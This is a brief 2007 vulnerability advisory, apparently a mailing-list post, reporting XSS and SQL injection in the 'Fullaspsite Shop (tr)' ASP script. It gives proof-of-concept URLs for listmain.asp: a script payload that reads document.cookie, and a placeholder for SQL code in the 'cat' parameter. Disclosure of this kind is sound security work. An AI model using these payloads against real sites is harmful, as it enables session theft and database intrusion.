Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

WebTester 5.0.2 sql injection and XSS vulnerabilities

Jupiter CMS 1.1.5 Multiple Vulnerabilities

From:	ShaFuq31_(at)_HoTMaiL.CoM <ShaFuq31_(at)_HoTMaiL.CoM>
Date:	14.02.2007
Subject:	Fullaspsite Shop (tr) Xss & SqL İnj. VulnZ.

Fullaspsite Shop (tr) Xss & SqL İnj. VulnZ.

Found By : ShaFuck31

Risk : Medium

VulnZ : Xss & SqL Injection

Vuln. :

http://victim.com/ScriptPath/listmain.asp?cat=<script>alert(document.
cookie);</script>

http://victim.com/ScriptPath/listmain.asp?cat=[ SqL Code ]

GreetZ : BLaSTER , DesquneR , The ReD , Dekolax .. AnD aLL of my friendZ...